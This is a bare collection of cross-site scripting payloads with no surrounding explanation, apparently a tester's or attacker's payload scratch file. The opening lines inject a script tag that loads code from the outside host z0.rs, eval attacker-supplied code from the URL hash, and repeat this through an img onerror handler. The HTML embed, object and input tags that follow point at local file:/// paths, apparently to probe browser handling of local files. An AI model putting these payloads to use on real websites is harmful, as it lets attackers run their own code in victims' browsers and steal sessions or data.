eval('var a=document.createElement("script");a.src="https://z0.rs?w";document.body.appendChild(a)');var msgbox;if(location.hash){eval(location.hash.slice(1))}else{console.log('1337 XSS')}//<img src="xxx://" onerror="import('//z0.rs?w');if(location.hash){eval(location.hash.slice(1))}else{console.log('1337 XSS')}">
msgbox+1

<EMBED SRC="file:///C:/example.pdf" HEIGHT=600 WIDTH=1440></EMBED>
<object type="audio/x-mid" data="file:///C:/example.mid" width="200"
height="20">
<param name="src" value="file:///C:/example.mid">
<param name="autoStart" value="true">
<param name="autoStart" value="0">
</object>
<EMBED SRC="file:///C:/example.pdf" HEIGHT=600 WIDTH=1440></EMBED>
<form>
<input type="image" src="file:///C:/example.gif" onload="console.log('loading
input success')" onerror="console.log('loading input error')">
</form>